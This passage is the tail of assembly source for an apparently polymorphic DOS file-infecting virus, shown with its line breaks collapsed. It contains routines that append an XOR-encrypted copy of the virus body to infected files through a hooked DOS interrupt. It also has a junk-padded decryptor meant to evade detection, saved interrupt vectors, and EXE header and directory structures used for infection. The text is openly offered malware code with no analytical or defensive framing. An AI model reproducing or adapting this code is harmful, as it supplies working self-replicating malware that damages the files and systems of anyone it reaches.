Junk_CLD: MOV BYTE PTR [SI], 0FCh ; CLD INC SI Exit_Add_Junk: RETN Append_Body_Encrypted: CALL Crypt_Virus MOV AH, 40h MOV BX, File_Handle MOV DX, 0 MOV CX, Virus_Size PUSHF CALL DWORD PTR Old_Int21h JC Crypt_Loop SUB AX, CX Crypt_Loop: PUSHF CMP byte ptr ds:Append_Body_Encrypted_Copy+(Encryptor-Append_Body_Encrypted), 28h ; SUB JNE Do_Crypt_Virus MOV byte ptr ds:Append_Body_Encrypted_Copy+(Encryptor-Append_Body_Encrypted), 0 Do_Crypt_Virus: CALL Crypt_Virus POPF RETN Crypt_Virus: MOV BX, 0 MOV SI, OFFSET Decryptor MOV CX, OFFSET Decryptor Crypt_Byte: MOV DL, [SI] ; Get key from the decryptor. XOR [BX], DL ; Encrypt/decrypt byte. Encryptor = BYTE PTR $-2 INC SI INC BX CMP SI, OFFSET Old_Int13h JB Loop_Crypt_B MOV SI, OFFSET Decryptor Loop_Crypt_B: LOOP Crypt_Byte RETN Decryptor: PUSH CS TEST CL, BL POP DS ; Load DS with CS. MOV BX, 0 TEST SP, AX MOV SI, OFFSET Decryptor ; Decryptor pointer. CLD TEST CH, BL MOV CX, OFFSET Decryptor ; Count to decrypt. TEST AX, CX Decrypt_Byte: MOV DL, [SI] ; Get the key from the ; decryptor. DB 039h, 0D8h ; * CMP AX, BX * XOR [BX], DL ; Decrypt byte. INC SI ; Update code & decryptor INC BX ; pointers. NOP CMP SI, OFFSET Old_Int13h ; Completely ran over the JB Decrypt_Loop ; decryptor? NOP MOV SI, OFFSET Decryptor ; Then reload the pointer. Decrypt_Loop: NOP LOOP Decrypt_Byte ; Decrypt all bytes. CLD JMP Init_Virus ; Jump to the real start. ORG Decryptor+64 ; Pad decryptor size. Old_Int13h DW 0, 0 End_Body: Buffer: File_Handle DW 0 Old_SP DW 0 Old_SS DW 0 Old_Attr DW 0 Old_File_Date DW 0 Old_File_Time DW 0 Old_Int1Ch DW 0, 0 Old_Int21h DW 0, 0 Old_Int24h DW 0, 0 Int_Count DW 0 New_Int13h_Copy: DB (New_Int1Ch-New_Int13h) DUP(0) Append_Body_Encrypted_Copy: DB (Decryptor-Append_Body_Encrypted) DUP(0) Header DW 14 DUP(0) Validate_Header DW 4 DUP(0) ORG Buffer+512 End_Heap: Carrier: MOV AX, 4C00h INT 21h EXE_Header STRUC EXE_ID DW 0 Image_Mod_512 DW 0 File_512_Pages DW 0 Reloc_Items DW 0 Header_Size DW 0 Min_Size_Mem DW 0 Max_Size_Mem DW 0 Program_SS DW 0 Program_SP DW 0 Checksum DW 0 Program_IP DW 0 Program_CS DW 0 Reloc_Table DW 0 EXE_Header ENDS Find_FN_FCB STRUC FCB_Drive DB 0 FCB_Name DB 8 DUP(0) FCB_Ext DB 3 DUP(0) FCB_Attr DB 0 FCB_Reserved DB 10 DUP(0) FCB_Time DW 0 FCB_Date DW 0 FCB_Start_Clust DW 0 FCB_Size DW 0, 0 Find_FN_FCB ENDS Find_FN_Dir STRUC Dir_Reserved DB 21 DUP(0) Dir_Attr DB 0 Dir_Time DW 0 Dir_Date DW 0 Dir_Size DW 0, 0 Dir_Name DB 13 DUP(0) Find_FN_Dir ENDS END Init_Virus